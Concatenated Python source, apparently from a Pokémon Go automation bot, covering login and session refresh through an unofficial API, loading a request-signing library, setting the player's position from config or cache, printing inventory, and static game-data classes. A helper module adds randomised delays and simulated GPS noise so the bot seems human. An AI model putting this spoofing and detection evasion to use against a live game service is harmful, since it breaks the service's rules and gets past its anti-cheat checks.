        logging.basicConfig(
            level=log_level,
            format='%(asctime)s [%(name)10s] [%(levelname)s] %(message)s'
        )
    def check_session(self, position):

        # Check session expiry
        if self.api._auth_provider and self.api._auth_provider._ticket_expire:

            # prevent crash if return not numeric value
            if not self.is_numeric(self.api._auth_provider._ticket_expire):
                self.logger.info("Ticket expired value is not numeric", 'yellow')
                return

            remaining_time = \
                self.api._auth_provider._ticket_expire / 1000 - time.time()

            if remaining_time < 60:
                self.event_manager.emit(
                    'api_error',
                    sender=self,
                    level='info',
                    formatted='Session stale, re-logging in.'
                )
                self.api = ApiWrapper(config=self.config)
                self.api.set_position(*position)
                self.login()
                self.api.activate_signature(self.get_encryption_lib())

    @staticmethod
    def is_numeric(s):
        try:
            float(s)
            return True
        except ValueError:
            return False

    def login(self):
        self.event_manager.emit(
            'login_started',
            sender=self,
            level='info',
            formatted="Login procedure started."
        )
        lat, lng = self.position[0:2]
        self.api.set_position(lat, lng, self.alt) # or should the alt kept to zero?

        while not self.api.login(
            self.config.auth_service,
            str(self.config.username),
            str(self.config.password)):

            self.event_manager.emit(
                'login_failed',
                sender=self,
                level='info',
                formatted="Login error, server busy. Waiting 10 seconds to try again."
            )
            time.sleep(10)

        with self.database as conn:
            c = conn.cursor()
            c.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='login'")

        result = c.fetchone()

        while True:
            if result[0] == 1:
                conn.execute('''INSERT INTO login (timestamp, message) VALUES (?, ?)''', (time.time(), 'LOGIN_SUCCESS'))
                break
            else:
                self.event_manager.emit(
                    'login_failed',
                    sender=self,
                    level='info',
                    formatted="Login table not founded, skipping log"
                )
                break

        self.event_manager.emit(
            'login_successful',
            sender=self,
            level='info',
            formatted="Login successful."
        )

    def get_encryption_lib(self):
        if _platform == "Windows" or _platform == "win32":
            # Check if we are on 32 or 64 bit
            if sys.maxsize > 2**32:
                file_name = 'encrypt_64.dll'
            else:
                file_name = 'encrypt.dll'
        else:
            file_name = 'encrypt.so'

        if self.config.encrypt_location == '':
            path = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir))
        else:
            path = self.config.encrypt_location

        full_path = path + '/'+ file_name
        if not os.path.isfile(full_path):
            self.logger.error(file_name + ' is not found! Please place it in the bots root directory or set encrypt_location in config.')
            self.logger.info('Platform: '+ _platform + ' ' + file_name + ' directory: '+ path)
            sys.exit(1)
        else:
            self.logger.info('Found '+ file_name +'! Platform: ' + _platform + ' ' + file_name + ' directory: ' + path)

        return full_path

    def _setup_api(self):
        # instantiate pgoapi
        self.api = ApiWrapper(config=self.config)

        # provide player position on the earth
        self._set_starting_position()

        self.login()
        # chain subrequests (methods) into one RPC call

        self.api.activate_signature(self.get_encryption_lib())
        self.logger.info('')
        # send empty map_cells and then our position
        self.update_web_location()

    def _print_character_info(self):
        # get player profile call
        # ----------------------
        response_dict = self.api.get_player()
        # print('Response dictionary: \n\r{}'.format(json.dumps(response_dict, indent=2)))
        currency_1 = "0"
        currency_2 = "0"

        if response_dict:
            self._player = response_dict['responses']['GET_PLAYER']['player_data']
            player = self._player
        else:
            self.logger.info(
                "The API didn't return player info, servers are unstable - "
                "retrying.", 'red'
            )
            sleep(5)
            self._print_character_info()

        # @@@ TODO: Convert this to d/m/Y H:M:S
        creation_date = datetime.datetime.fromtimestamp(
            player['creation_timestamp_ms'] / 1e3)
        creation_date = creation_date.strftime("%Y/%m/%d %H:%M:%S")

        pokecoins = '0'
        stardust = '0'
        items_inventory = inventory.items()

        if 'amount' in player['currencies'][0]:
            pokecoins = player['currencies'][0]['amount']
        if 'amount' in player['currencies'][1]:
            stardust = player['currencies'][1]['amount']
        self.logger.info('')
        self.logger.info('--- {username} ---'.format(**player))

        self.logger.info(
            'Pokemon Bag: {}/{}'.format(
                inventory.Pokemons.get_space_used(),
                inventory.get_pokemon_inventory_size()
            )
        )
        self.logger.info(
            'Items: {}/{}'.format(
                inventory.Items.get_space_used(),
                inventory.get_item_inventory_size()
            )
        )
        self.logger.info(
            'Stardust: {}'.format(stardust) +
            ' | Pokecoins: {}'.format(pokecoins)
        )
        # Items Output
        self.logger.info(
            'PokeBalls: ' + str(items_inventory.get(1).count) +
            ' | GreatBalls: ' + str(items_inventory.get(2).count) +
            ' | UltraBalls: ' + str(items_inventory.get(3).count) +
            ' | MasterBalls: ' + str(items_inventory.get(4).count))

        self.logger.info(
            'RazzBerries: ' + str(items_inventory.get(701).count) +
            ' | BlukBerries: ' + str(items_inventory.get(702).count) +
            ' | NanabBerries: ' + str(items_inventory.get(703).count))

        self.logger.info(
            'LuckyEgg: ' + str(items_inventory.get(301).count) +
            ' | Incubator: ' + str(items_inventory.get(902).count) +
            ' | TroyDisk: ' + str(items_inventory.get(501).count))

        self.logger.info(
            'Potion: ' + str(items_inventory.get(101).count) +
            ' | SuperPotion: ' + str(items_inventory.get(102).count) +
            ' | HyperPotion: ' + str(items_inventory.get(103).count) +
            ' | MaxPotion: ' + str(items_inventory.get(104).count))

        self.logger.info(
            'Incense: ' + str(items_inventory.get(401).count) +
            ' | IncenseSpicy: ' + str(items_inventory.get(402).count) +
            ' | IncenseCool: ' + str(items_inventory.get(403).count))

        self.logger.info(
            'Revive: ' + str(items_inventory.get(201).count) +
            ' | MaxRevive: ' + str(items_inventory.get(202).count))

        self.logger.info('')

    def _print_list_pokemon(self):
        # get pokemon list
        bag = inventory.pokemons().all()
        id_list =list(set(map(lambda x: x.pokemon_id, bag)))
        id_list.sort()
        pokemon_list = [filter(lambda x: x.pokemon_id == y, bag) for y in id_list]

        show_count = self.config.pokemon_bag_show_count
        show_candies = self.config.pokemon_bag_show_candies
        poke_info_displayed = self.config.pokemon_bag_pokemon_info

        def get_poke_info(info, pokemon):
            poke_info = {
                'cp': 'CP {}'.format(pokemon.cp),
                'iv_ads': 'A/D/S {}/{}/{}'.format(pokemon.iv_attack, pokemon.iv_defense, pokemon.iv_stamina),
                'iv_pct': 'IV {}'.format(pokemon.iv),
                'ivcp': 'IVCP {}'.format(round(pokemon.ivcp,2)),
                'ncp': 'NCP {}'.format(round(pokemon.cp_percent,2)),
                'level': "Level {}".format(pokemon.level),
                'hp': 'HP {}/{}'.format(pokemon.hp, pokemon.hp_max),
                'moveset': 'Moves: {}'.format(pokemon.moveset),
                'dps': 'DPS {}'.format(round(pokemon.moveset.dps, 2))
            }
            if info not in poke_info:
                raise ConfigException("info '{}' isn't available for displaying".format(info))
            return poke_info[info]

        self.logger.info('Pokemon:')

        for pokes in pokemon_list:
            line_p = '#{} {}'.format(pokes[0].pokemon_id, pokes[0].name)
            if show_count:
                line_p += '[{}]'.format(len(pokes))
            if show_candies:
                line_p += '[{} candies]'.format(pokes[0].candy_quantity)
            line_p += ': '
            
            poke_info = ['({})'.format(', '.join([get_poke_info(x, p) for x in poke_info_displayed])) for p in pokes]
            self.logger.info(line_p + ' | '.join(poke_info))

        self.logger.info('')

    def use_lucky_egg(self):
        return self.api.use_item_xp_boost(item_id=301)

    def _set_starting_position(self):

        self.event_manager.emit(
            'set_start_location',
            sender=self,
            level='info',
            formatted='Setting start location.'
        )

        has_position = False

        if self.config.test:
            # TODO: Add unit tests
            return

        if self.config.location:
            location_str = self.config.location
            location = self.get_pos_by_name(location_str.replace(" ", ""))
            msg = "Location found: {location} {position}"
            self.event_manager.emit(
                'location_found',
                sender=self,
                level='info',
                formatted=msg,
                data={
                    'location': location_str,
                    'position': location
                }
            )

            self.api.set_position(*location)

            self.event_manager.emit(
                'position_update',
                sender=self,
                level='info',
                formatted="Now at {current_position}",
                data={
                    'current_position': self.position,
                    'last_position': '',
                    'distance': '',
                    'distance_unit': ''
                }
            )

            self.start_position = self.position

            has_position = True

        if self.config.location_cache:
            try:
                # save location flag used to pull the last known location from
                # the location.json
                self.event_manager.emit(
                    'load_cached_location',
                    sender=self,
                    level='debug',
                    formatted='Loading cached location...'
                )
                with open(os.path.join(_base_dir, 'data', 'last-location-%s.json' %
                    self.config.username)) as f:
                    location_json = json.load(f)
                location = (
                    location_json['lat'],
                    location_json['lng'],
                    location_json['alt'],
                )

                # If location has been set in config, only use cache if starting position has not differed
                if has_position and 'start_position' in location_json:
                    last_start_position = tuple(location_json.get('start_position', []))

                    # Start position has to have been set on a previous run to do this check
                    if last_start_position and last_start_position != self.start_position:
                        msg = 'Going to a new place, ignoring cached location.'
                        self.event_manager.emit(
                            'location_cache_ignored',
                            sender=self,
                            level='debug',
                            formatted=msg
                        )
                        return

                self.api.set_position(*location)
                self.event_manager.emit(
                    'position_update',
                    sender=self,
                    level='debug',
                    formatted='Loaded location {current_position} from cache',
                    data={
                        'current_position': location,
                        'last_position': '',
                        'distance': '',
                        'distance_unit': ''
                    }
                )

                has_position = True
            except Exception:
                if has_position is False:
                    sys.exit(
                        "No cached Location. Please specify initial location."
                    )
                self.event_manager.emit(
                    'location_cache_error',
                    sender=self,
                    level='debug',
                    formatted='Parsing cached location failed.'
                )

    def get_pos_by_name(self, location_name):
        # Check if the given location is already a coordinate.
        if ',' in location_name:
            possible_coordinates = re.findall(
                "[-]?\d{1,3}[.]\d{3,7}", location_name
            )
            if len(possible_coordinates) == 2:
                # 2 matches, this must be a coordinate. We'll bypass the Google
                # geocode so we keep the exact location.
                self.logger.info(
                    '[x] Coordinates found in passed in location, '
                    'not geocoding.'
                )
                return float(possible_coordinates[0]), float(possible_coordinates[1]), self.alt

        geolocator = GoogleV3(api_key=self.config.gmapkey)
        loc = geolocator.geocode(location_name, timeout=10)

        return float(loc.latitude), float(loc.longitude), float(loc.altitude)

    def heartbeat(self):
        # Remove forts that we can now spin again.
        now = time.time()
        self.fort_timeouts = {id: timeout for id, timeout
                              in self.fort_timeouts.iteritems()
                              if timeout >= now * 1000}

        if now - self.last_heartbeat >= self.heartbeat_threshold:
            self.last_heartbeat = now
            request = self.api.create_request()
            request.get_player()
            request.check_awarded_badges()
            request.call()
        try:
            self.web_update_queue.put_nowait(True)  # do this outside of thread every tick
        except Queue.Full:
            pass

    def update_web_location_worker(self):
        while True:
            self.web_update_queue.get()
            self.update_web_location()

    def display_player_info(self):
            inventory_items = self.api.get_inventory()
            inventory_items = inventory_items['responses']['GET_INVENTORY']['inventory_delta']['inventory_items']
            player_stats = next((x["inventory_item_data"]["player_stats"]
                     for x in inventory_items
                     if x.get("inventory_item_data", {}).get("player_stats", {})),
                    None)

            if player_stats:

                nextlvlxp = (int(player_stats.get('next_level_xp', 0)) - int(player_stats.get('experience', 0)))

                if 'level' in player_stats and 'experience' in player_stats:
                    self.logger.info(
                        'Level: {level}'.format(
                            **player_stats) +
                        ' (Next Level: {} XP)'.format(
                            nextlvlxp) +
                        ' (Total: {experience} XP)'
                        ''.format(**player_stats))

                if 'pokemons_captured' in player_stats and 'poke_stop_visits' in player_stats:
                    self.logger.info(
                        'Pokemon Captured: '
                        '{pokemons_captured}'.format(
                            **player_stats) +
                        ' | Pokestops Visited: '
                        '{poke_stop_visits}'.format(
                            **player_stats))

    def get_forts(self, order_by_distance=False):
        forts = [fort
                 for fort in self.cell['forts']
                 if 'latitude' in fort and 'type' in fort]

        if order_by_distance:
            forts.sort(key=lambda x: distance(
                self.position[0],
                self.position[1],
                x['latitude'],
                x['longitude']
            ))

        return forts

    def get_map_objects(self, lat, lng, timestamp, cellid):
        if time.time() - self.last_time_map_object < self.config.map_object_cache_time:
            return self.last_map_object

        self.last_map_object = self.api.get_map_objects(
            latitude=f2i(lat),
            longitude=f2i(lng),
            since_timestamp_ms=timestamp,
            cell_id=cellid
        )
        self.last_time_map_object = time.time()

        return self.last_map_object

    def _load_recent_forts(self):
        if not self.config.forts_cache_recent_forts:
            return


        cached_forts_path = os.path.join(_base_dir, 'data', 'recent-forts-%s.json' % self.config.username)
        try:
            # load the cached recent forts
            with open(cached_forts_path) as f:
                cached_recent_forts = json.load(f)

            num_cached_recent_forts = len(cached_recent_forts)
            num_recent_forts = len(self.recent_forts)

            # Handles changes in max_circle_size
            if not num_recent_forts:
                self.recent_forts = []
            elif num_recent_forts > num_cached_recent_forts:
                self.recent_forts[-num_cached_recent_forts:] = cached_recent_forts
            elif num_recent_forts < num_cached_recent_forts:
                self.recent_forts = cached_recent_forts[-num_recent_forts:]
            else:
                self.recent_forts = cached_recent_forts

            self.event_manager.emit(
                'loaded_cached_forts',
                sender=self,
                level='debug',
                formatted='Loaded cached forts...'
            )
        except IOError:
            self.event_manager.emit(
                'no_cached_forts',
                sender=self,
                level='debug',
                formatted='Starting new cached forts for {path}',
                data={'path': cached_forts_path}
            )






# -*- coding: utf-8 -*-

import time
from random import random, uniform, gauss


def sleep(seconds, delta=0.3):
    time.sleep(jitter(seconds,delta))


def jitter(value, delta=0.3):
    jitter = delta * value
    return uniform(value-jitter, value+jitter)


def action_delay(low, high):
    # Waits for random number of seconds between low & high numbers
    longNum = uniform(low, high)
    shortNum = float("{0:.2f}".format(longNum))
    time.sleep(shortNum)


def random_lat_long_delta():
    # Return random value from [-.000025, .000025]. Since 364,000 feet is equivalent to one degree of latitude, this
    # should be 364,000 * .000025 = 9.1. So it returns between [-9.1, 9.1]
    return ((random() * 0.00001) - 0.000005) * 5

def gps_noise_rng(radius):
    '''
    Simulates gps noise.
    '''
    noise = gauss(0, radius/3.0)
    noise = min(max(-radius, noise), radius)
    return noise







import json
import logging
import os
from collections import OrderedDict

from pokemongo_bot.base_dir import _base_dir

'''
Helper class for updating/retrieving Inventory data

Interesting info and formulas:
https://drive.google.com/file/d/0B0TeYGBPiuzaenhUNE5UWnRCVlU/view
https://www.reddit.com/r/pokemongodev/comments/4w7mdg/combat_damage_calculation_formula_exactly/
'''


#
# Abstraction

class _StaticInventoryComponent(object):
    STATIC_DATA_FILE = None  # optionally load static data from file,
                             # dropping the data in a static variable named STATIC_DATA
    STATIC_DATA = None

    def __init__(self):
        if self.STATIC_DATA_FILE is not None:
            self.init_static_data()

    @classmethod
    def init_static_data(cls):
        if not hasattr(cls, 'STATIC_DATA') or cls.STATIC_DATA is None:
            cls.STATIC_DATA = cls.process_static_data(
                json.load(open(cls.STATIC_DATA_FILE)))

    @classmethod
    def process_static_data(cls, data):
        # optional hook for processing the static data
        # default is to use the data directly
        return data


class _BaseInventoryComponent(_StaticInventoryComponent):
    TYPE = None  # base key name for items of this type
    ID_FIELD = None  # identifier field for items of this type

    def __init__(self):
        self._data = {}
        super(_BaseInventoryComponent, self).__init__()

    def parse(self, item):
        # optional hook for parsing the dict for this item
        # default is to use the dict directly
        return item

    def retrieve_data(self, inventory):
        assert self.TYPE is not None
        assert self.ID_FIELD is not None
        ret = {}
        for item in inventory:
            data = item['inventory_item_data']
            if self.TYPE in data:
                item = data[self.TYPE]
                key = item[self.ID_FIELD]
                ret[key] = self.parse(item)
        return ret

    def refresh(self, inventory):
        self._data = self.retrieve_data(inventory)

    def get(self, object_id):
        return self._data.get(object_id)

    def all(self):
        return list(self._data.values())


#
# Inventory Components

class Candies(_BaseInventoryComponent):
    TYPE = 'candy'
    ID_FIELD = 'family_id'

    @classmethod
    def family_id_for(cls, pokemon_id):
        return Pokemons.first_evolution_id_for(pokemon_id)

    def get(self, pokemon_id):
        family_id = self.family_id_for(pokemon_id)
        return self._data.setdefault(family_id, Candy(family_id, 0))

    def parse(self, item):
        candy = item['candy'] if 'candy' in item else 0
        return Candy(item['family_id'], candy)


class Pokedex(_BaseInventoryComponent):
    TYPE = 'pokedex_entry'
    ID_FIELD = 'pokemon_id'

    def seen(self, pokemon_id):
        return pokemon_id in self._data

    def captured(self, pokemon_id):
        if not self.seen(pokemon_id):
            return False
        return self._data[pokemon_id]['times_captured'] > 0


class Item(object):
    """
    Representation of an item.
    """
    def __init__(self, item_id, item_count):
        """
        Initialise an instance of an item
        :param item_id: ID of the item
        :type item_id: int
        :param item_count: Quantity of the item
        :type item_count: int
        :return: An item
        :rtype: Item
        """
        self.id = item_id
        self.name = Items.name_for(self.id)
        self.count = item_count

    def remove(self, amount):
        """
        Remove a specified amount of an item from the cached inventory.
        Note that it does **NOT** removes it in the server, it only removes it from the local cached inventory.
        :param amount: Amount to remove
        :type amount: int
        :return: Nothing
        :rtype: None
        """
        if self.count < amount:
            raise Exception('Tried to remove more {} than you have'.format(self.name))
        self.count -= amount

    def add(self, amount):
        """
        Add a specified amount of the item to the local cached inventory
        :param amount: Amount to add
        :type amount: int
        :return: Nothing.
        :rtype: None
        """
        if amount < 0:
            raise Exception('Must add positive amount of {}'.format(self.name))
        self.count += amount

    def __str__(self):
        return self.name + " : " + str(self.count)


class Items(_BaseInventoryComponent):
    TYPE = 'item'
    ID_FIELD = 'item_id'
    STATIC_DATA_FILE = os.path.join(_base_dir, 'data', 'items.json')

    def parse(self, item_data):
        """
        Make an instance of an Item from raw item data.
        :param item_data: Item data to make an item from
        :return: Instance of the Item.
        :rtype: Item
        """
        item_id = item_data.get(Items.ID_FIELD, None)
        item_count = item_data['count'] if 'count' in item_data else 0
        return Item(item_id, item_count)

    def all(self):
        """
        Get EVERY Item from the cached inventory.
        :return: List of evey item in the cached inventory
        :rtype: list of Item
        """
        return list(self._data.values())

    def get(self, item_id):
        """
        Get ONE Item from the cached inventory.
        :param item_id: Item's ID to search for.
        :return: Instance of the item from the cached inventory
        :rtype: Item
        """
        return self._data.setdefault(item_id, Item(item_id, 0))

    @classmethod
    def name_for(cls, item_id):
        """
        Search the name for an item from its ID.
        :param item_id: Item's ID to search for.
        :return: Item's name.
        :rtype: str
        """
        return cls.STATIC_DATA[str(item_id)]

    @classmethod
    def get_space_used(cls):
        """
        Counts the space used in item inventory.
        :return: The space used in item inventory.
        :rtype: int
        """
        space_used = 1
        for item_in_inventory in _inventory.items.all():
            space_used += item_in_inventory.count
        return space_used

    @classmethod
    def get_space_left(cls):
        """
        Compute the space  left in item inventory.
        :return: The space left in item inventory. 0 if the player has more item than his item inventory can carry.
        :rtype: int
        """
        _inventory.retrieve_inventories_size()
        space_left = _inventory.item_inventory_size - cls.get_space_used()
        # Space left should never be negative. Returning 0 if the computed value is negative.
        return space_left if space_left >= 0 else 0

    @classmethod
    def has_space_for_loot(cls):
        """
        Returns a value indicating whether or not the item inventory has enough space to loot a fort
        :return: True if the item inventory has enough space; otherwise, False.
        :rtype: bool
        """
        max_number_of_items_looted_at_stop = 5
        return cls.get_space_left() >= max_number_of_items_looted_at_stop



class Pokemons(_BaseInventoryComponent):
    TYPE = 'pokemon_data'
    ID_FIELD = 'id'
    STATIC_DATA_FILE = os.path.join(_base_dir, 'data', 'pokemon.json')

    @classmethod
    def process_static_data(cls, data):
        data = [PokemonInfo(d) for d in data]

        # process evolution info
        for p in data:
            next_all = p.next_evolutions_all
            if len(next_all) <= 0:
                continue

            # only next level evolutions, not all possible
            p.next_evolution_ids = [idx for idx in next_all
                                    if data[idx-1].prev_evolution_id == p.id]

            # only final evolutions
            p.last_evolution_ids = [idx for idx in next_all
                                    if not data[idx-1].has_next_evolution]
            assert len(p.last_evolution_ids) > 0

        return data

    @classmethod
    def get_space_used(cls):
        """
        Counts the space used in pokemon inventory.
        :return: The space used in pokemon inventory.
        :rtype: int
        """
        return len(_inventory.pokemons.all_with_eggs())

    @classmethod
    def get_space_left(cls):
        """
        Compute the space  left in pokemon inventory.
        :return: The space left in pokemon inventory.
        :rtype: int
        """
        _inventory.retrieve_inventories_size()
        space_left = _inventory.pokemon_inventory_size - cls.get_space_used()
        return space_left

    @classmethod
    def data_for(cls, pokemon_id):
        # type: (int) -> PokemonInfo
        return cls.STATIC_DATA[pokemon_id - 1]

    @classmethod
    def name_for(cls, pokemon_id):
        return cls.data_for(pokemon_id).name

    @classmethod
    def first_evolution_id_for(cls, pokemon_id):
        return cls.data_for(pokemon_id).first_evolution_id

    @classmethod
    def prev_evolution_id_for(cls, pokemon_id):
        return cls.data_for(pokemon_id).prev_evolution_id

    @classmethod
    def next_evolution_ids_for(cls, pokemon_id):
        return cls.data_for(pokemon_id).next_evolution_ids

    @classmethod
    def last_evolution_ids_for(cls, pokemon_id):
        return cls.data_for(pokemon_id).last_evolution_ids

    @classmethod
    def has_next_evolution(cls, pokemon_id):
        return cls.data_for(pokemon_id).has_next_evolution

    @classmethod
    def evolution_cost_for(cls, pokemon_id):
        return cls.data_for(pokemon_id).evolution_cost

    def parse(self, item):
        if 'is_egg' in item:
            return Egg(item)
        return Pokemon(item)

    def all(self):
        # by default don't include eggs in all pokemon (usually just
        # makes caller's lives more difficult)
        return [p for p in super(Pokemons, self).all() if not isinstance(p, Egg)]

    def all_with_eggs(self):
        # count pokemon AND eggs, since eggs are counted as bag space
        return super(Pokemons, self).all()

    def add(self, pokemon):
        if pokemon.unique_id <= 0:
            raise ValueError("Can't add a pokemon without id")
        if pokemon.unique_id in self._data:
            raise ValueError("Pokemon already present in the inventory")
        self._data[pokemon.unique_id] = pokemon

    def remove(self, pokemon_unique_id):
        if pokemon_unique_id not in self._data:
            raise ValueError("Pokemon not present in the inventory")
        self._data.pop(pokemon_unique_id)


#
# Static Components

class Types(_StaticInventoryComponent):
    """
    Types of attacks and pokemons

    See more information:
    https://i.redd.it/oy7lrixl8r9x.png
    https://www.reddit.com/r/TheSilphRoad/comments/4t8seh/pokemon_go_type_advantage_chart/
    https://github.com/jehy/Pokemon-Go-Weakness-calculator/blob/master/app/src/main/java/ru/jehy/pokemonweaknesscalculator/MainActivity.java#L31
    """

    STATIC_DATA_FILE = os.path.join(_base_dir, 'data', 'types.json')

    @classmethod
    def process_static_data(cls, data):
        # create instances
        ret = OrderedDict()
        for t in sorted(data, key=lambda x: x["name"]):
            name = str(t["name"])
            ret[name] = Type(name, t["effectiveAgainst"], t["weakAgainst"])

        # additional manipulations
        size = len(ret)
        by_effectiveness = {}
        by_resistance = {}
        for t in ret.itervalues():  # type: Type
            t.attack_effective_against = [ret[name] for name in t.attack_effective_against]
            t.attack_weak_against = [ret[name] for name in t.attack_weak_against]

            # group types effective against, weak against specific types
            for l, d in (t.attack_effective_against, by_effectiveness), \
                        (t.attack_weak_against, by_resistance):
                for tt in l:
                    if tt not in d:
                        d[tt] = set()
                    d[tt].add(t)

            # calc average factor for damage of this type relative to all types
            t.rate = (size
                      + ((EFFECTIVENESS_FACTOR-1) * len(t.attack_effective_against))
                      - ((1-RESISTANCE_FACTOR) * len(t.attack_weak_against))) / size

        # set pokemon type resistance/weakness info
        for t in ret.itervalues():  # type: Type
            t.pokemon_resistant_to = by_resistance[t]
            t.pokemon_vulnerable_to = by_effectiveness[t]

        return ret

    @classmethod
    def get(cls, type_name):
        # type: (Union[string, Type]) -> Type
        type_name = str(type_name)
        if type_name not in cls.STATIC_DATA:
            raise ValueError("Unknown type: {}".format(type_name))
        return cls.STATIC_DATA[type_name]

    @classmethod
    def all(cls):
        return cls.STATIC_DATA.values()

    @classmethod
    def rating(cls):
        return sorted(cls.all(), key=lambda x: x.rate, reverse=True)


class LevelToCPm(_StaticInventoryComponent):
    """
    Data for the CP multipliers at different levels
    See http://pokemongo.gamepress.gg/cp-multiplier
    See https://github.com/justinleewells/pogo-optimizer/blob/edd692d/data/game/level-to-cpm.json
    """

    STATIC_DATA_FILE = os.path.join(_base_dir, 'data', 'level_to_cpm.json')
    MAX_LEVEL = 40
    MAX_CPM = .0
    # half of the lowest difference between CPMs
    HALF_DIFF_BETWEEN_HALF_LVL = 14e-3

    @classmethod
    def init_static_data(cls):
        super(LevelToCPm, cls).init_static_data()
        cls.MAX_CPM = cls.cp_multiplier_for(cls.MAX_LEVEL)
        assert cls.MAX_CPM > .0

    @classmethod
    def cp_multiplier_for(cls, level):
        # type: (Union[float, int, string]) -> float
        level = float(level)
        level = str(int(level) if level.is_integer() else level)
        return cls.STATIC_DATA[level]

    @classmethod
    def level_from_cpm(cls, cp_multiplier):
        # type: (float) -> float
        for lvl, cpm in cls.STATIC_DATA.iteritems():
            diff = abs(cpm - cp_multiplier)
            if diff <= cls.HALF_DIFF_BETWEEN_HALF_LVL:
                return float(lvl)
        raise ValueError("Unknown cp_multiplier: {}".format(cp_multiplier))


class _Attacks(_StaticInventoryComponent):
    BY_NAME = {}  # type: Dict[string, Attack]
    BY_TYPE = {}  # type: Dict[List[Attack]]
    BY_DPS = []  # type: List[Attack]

    @classmethod
    def process_static_data(cls, moves):
        ret = {}
        by_type = {}
        by_name = {}
        fast = cls is FastAttacks
        for attack in moves:
            attack = Attack(attack) if fast else ChargedAttack(attack)
            ret[attack.id] = attack
            by_name[attack.name] = attack

            attack_type = str(attack.type)
            if attack_type not in by_type:
                by_type[attack_type] = []
            by_type[attack_type].append(attack)

        for t in by_type.iterkeys():
            attacks = sorted(by_type[t], key=lambda m: m.dps, reverse=True)
            min_dps = attacks[-1].dps
            max_dps = attacks[0].dps - min_dps
            if max_dps > .0:
                for attack in attacks:  # type: Attack
                    attack.rate_in_type = (attack.dps - min_dps) / max_dps
            by_type[t] = attacks

        cls.BY_NAME = by_name
        cls.BY_TYPE = by_type
        cls.BY_DPS = sorted(ret.values(), key=lambda m: m.dps, reverse=True)

        return ret

    @classmethod
    def data_for(cls, attack_id):
        # type: (int) -> Attack
        if attack_id not in cls.STATIC_DATA:
            raise ValueError("Attack {} not found in {}".format(
                attack_id, cls.__name__))
        return cls.STATIC_DATA[attack_id]

    @classmethod
    def by_name(cls, name):
        # type: (string) -> Attack
        return cls.BY_NAME[name]

    @classmethod
    def list_for_type(cls, type_name):
        # type: (Union[string, Type]) -> List[Attack]
        """
        :return: Attacks sorted by DPS in descending order
        """
        return cls.BY_TYPE[str(type_name)]

    @classmethod
    def all(cls):
        return cls.STATIC_DATA.values()

    @classmethod
    def all_by_dps(cls):
        return cls.BY_DPS


class FastAttacks(_Attacks):
    STATIC_DATA_FILE = os.path.join(_base_dir, 'data', 'fast_moves.json')


class ChargedAttacks(_Attacks):
    STATIC_DATA_FILE = os.path.join(_base_dir, 'data', 'charged_moves.json')


#
# Instances

class Type(object):
    def __init__(self, name, effective_against, weak_against):
        # type: (string, Iterable[Type], Iterable[Type]) -> None

        self.name = name

        # effective way to represent type with one character
        # for example it's very useful for nicknaming pokemon
        #  using its attack types
        #
        # if first char is unique - use it, in other case
        #  use suitable substitute
        type_to_one_char_map = {
            'Bug': 'B',
            'Dark': 'K',
            'Dragon': 'D',
            'Electric': 'E',
            'Fairy': 'Y',
            'Fighting': 'T',
            'Fire': 'F',
            'Flying': 'L',
            'Ghost': 'H',
            'Grass': 'A',
            'Ground': 'G',
            'Ice': 'I',
            'Normal': 'N',
            'Poison': 'P',
            'Psychic': 'C',
            'Rock': 'R',
            'Steel': 'S',
            'Water': 'W',
        }
        self.as_one_char = type_to_one_char_map[name]

        # attack of this type is effective against ...
        self.attack_effective_against = set(effective_against)
        # attack of this type is weak against ...
        self.attack_weak_against = set(weak_against)
        # pokemon of this type is resistant to ...
        self.pokemon_resistant_to = set()  # type: Set[Type]
        # pokemon of this type is vulnerable to ...
        self.pokemon_vulnerable_to = set()  # type: Set[Type]

        # average factor for damage of this type relative to all types
        self.rate = 1.

    def __str__(self):
        return self.name

    def __repr__(self):
        return self.name


class Candy(object):
    def __init__(self, family_id, quantity):
        self.type = Pokemons.name_for(family_id)
        self.quantity = quantity

    def consume(self, amount):
        if self.quantity < amount:
            raise Exception('Tried to consume more {} candy than you have'.format(self.type))
        self.quantity -= amount

    def add(self, amount):
        if amount < 0:
            raise Exception('Must add positive amount of candy')
        self.quantity += amount


class Egg(object):
    def __init__(self, data):
        self._data = data

    def has_next_evolution(self):
        return False


class PokemonInfo(object):
    """
    Static information about pokemon kind
    """
    def __init__(self, data):
        self._data = data
        self.id = int(data["Number"])
        self.name = data['Name']  # type: string
        self.classification = data['Classification']  # type: string

        # prepare types
        self.type1 = Types.get(data['Type I'][0])
        self.type2 = None
        self.types = [self.type1]  # required type
        for t in data.get('Type II', []):
            self.type2 = Types.get(t)
            self.types.append(self.type2)  # second type
            break

        # base chance to capture pokemon
        self.capture_rate = data['CaptureRate']
        # chance of the pokemon to flee away
        self.flee_rate = data['FleeRate']

        # prepare attacks (moves)
        self.fast_attacks = self._process_attacks()
        self.charged_attack = self._process_attacks(charged=True)

        # prepare movesets
        self.movesets = self._process_movesets()

        # Basic Values of the pokemon (identical for all pokemons of one kind)
        self.base_attack = data['BaseAttack']
        self.base_defense = data['BaseDefense']
        self.base_stamina = data['BaseStamina']

        # calculate maximum CP for the pokemon (best IVs, lvl 40)
        self.max_cp = _calc_cp(self.base_attack, self.base_defense,
                               self.base_stamina)

        #
        # evolutions info for this pokemon

        # id of the very first level evolution
        self.first_evolution_id = self.id
        # id of the previous evolution (one level only)
        self.prev_evolution_id = None
        # ids of all available previous evolutions in the family
        self.prev_evolutions_all = []
        if 'Previous evolution(s)' in data:
            ids = [int(e['Number']) for e in data['Previous evolution(s)']]
            self.first_evolution_id = ids[0]
            self.prev_evolution_id = ids[-1]
            self.prev_evolutions_all = ids

        # Number of candies for the next evolution (if possible)
        self.evolution_cost = 0
        # next evolution flag
        self.has_next_evolution = 'Next evolution(s)' in data \
                                  or 'Next Evolution Requirements' in data
        # ids of the last level evolutions
        self.last_evolution_ids = [self.id]
        # ids of the next possible evolutions (one level only)
        self.next_evolution_ids = []
        # ids of all available next evolutions in the family
        self.next_evolutions_all = []
        if self.has_next_evolution:
            ids = [int(e['Number']) for e in data['Next evolution(s)']]
            self.next_evolutions_all = ids
            self.evolution_cost = int(data['Next Evolution Requirements']['Amount'])

    @property
    def family_id(self):
        return self.first_evolution_id

    @property
    def is_seen(self):
        return pokedex().seen(self.id)

    @property
    def is_captured(self):
        return pokedex().captured(self.id)

    def _process_movesets(self):
        # type: () -> List[Moveset]
        """
        The optimal moveset is the combination of two moves, one quick move
        and one charge move, that deals the most damage over time.

        Because each quick move gains a certain amount of energy (different
        for different moves) and each charge move requires a different amount
